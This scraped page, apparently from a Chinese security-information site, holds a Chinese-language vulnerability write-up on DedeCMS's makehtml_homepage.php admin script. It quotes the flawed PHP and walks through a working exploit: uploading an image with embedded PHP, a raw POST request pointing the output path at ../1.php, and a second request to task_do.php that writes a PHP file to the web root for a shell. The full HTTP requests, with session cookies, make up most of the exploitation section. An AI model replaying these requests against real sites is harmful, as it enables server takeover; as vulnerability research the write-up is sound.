選擇語言
繁體中文
繁體中文 Traditional Chinese
简体中文
简体中文 Simplified Chinese
English
English English
日本語
日本語 Japanese
AI 助手

今日情報速問。不用選範圍,直接問今天值得看什麼。

完整分析

通知訊訊

暫無新訊訊

$templet = preg_replace("/[.]+[\/\\\\]+/", "/", $templet); if(empty($dopost)) $dopost = ''; if($dopost=="view") {     $pv = new PartView();     $templet = str_replace("{style}",$cfg_df_style,$templet);     $pv->SetTemplet($cfg_basedir.$cfg_templets_dir."/".$templet);     $pv->Display();     exit(); } else if($dopost=="make") {     $remotepos = empty($remotepos)? '/index.html' : $remotepos;     $isremote = empty($isremote)? 0 : $isremote;     $serviterm = empty($serviterm)? "" : $serviterm;     $homeFile = DEDEADMIN."/".$position;     $homeFile = str_replace("\\","/",$homeFile);     $homeFile = str_replace("//","/",$homeFile);     $fp = fopen($homeFile,"w") or die("你指定的文件名有问题,无法创建文件");     fclose($fp);     if($saveset==1)     {         $iquery = "UPDATE `#@__homepageset` SET templet='$templet',position='$position' "; //        die($iquery);         $dsql->ExecuteNoneQuery($iquery);     } 分析代码得知 '$templet的值经过过滤 不可以使用../  没有其他限制 $position无任何限制 值是可控的 查看数据库中@__homepageset名字为这个的表也就是dede_homepageset表   然后在echo 一下$tpl 和$homeFile的值 来确认路径信息 方便得知我们需要将这个值改为什么可以方便的进行文件覆盖拿到shell     得知  tpl的值在存储数据库中的$templet参数因为存在../过滤 所以必须要在/templets目录下  homeFile 无限制 可以直接写为../1.php  文件不存在的话fopen(homeFile, 'w')会创建此文件 此外由于 系统存在 模块-文件管理器 可以直接在templets中上传一个图片码,这样 两个参数即都已经处于可控状态 并且可以控制 $homeFile参数成为可以写入包含恶意代码的php文件   漏洞利用 第一步 上传图片马 利用系统的文件管理器上传包含恶意内容的图片文件在且/templets/目录中     这样/templets/下存在一个phpinfo.png 的文件 第二步  更改数据库中的两个参数的内容   Poc 代码 POST /dede/makehtml_homepage.php HTTP/1.1 Host: dede.test.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=a8g7jmunlsc13k921p5i7e5idh; _csrf_name_65a662a9=fe9ab3ba5fb0c17275051ecaf0cd79f3; _csrf_name_65a662a91BH21ANI1AGD297L1FF21LN02BGE1DNG=14d49edb9c9ca536; XDEBUG_SESSION=XDEBUG_ECLIPSE; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=bd2d5486c005cdd5; DedeLoginTime=1722498125; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=82a6253c29408017 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 59 dopost=make&saveset=1&templet=phpinfo.png&position=../1.php   发现数据库中的内容被更改为我们指定的内容   第三步 文件覆盖操作 将phpinfo.png的内容覆盖到1.php中 Poc 代码 POST /dede/task_do.php HTTP/1.1 Host: dede.test.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=a8g7jmunlsc13k921p5i7e5idh; _csrf_name_65a662a9=fe9ab3ba5fb0c17275051ecaf0cd79f3; _csrf_name_65a662a91BH21ANI1AGD297L1FF21LN02BGE1DNG=14d49edb9c9ca536; XDEBUG_SESSION=XDEBUG_ECLIPSE; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=bd2d5486c005cdd5; DedeLoginTime=1722498125; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=82a6253c29408017 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 dopost=makeindex 目前不存在1.php文件     产生1.php文件在网站根目录   Phpinfo()   Shell连接 结语 关于makehtml_homepage.php文件中 SetTemplet()方法和SaveToHtml()方法 其实还存在另一个关于修复后的绕过漏洞 但是 和第一个没什么区别 所以在这里就不写了,另外实际利用的话后台其实有很简单的方式可以操作拿shell,就是不知道什么原因官方一直不修复。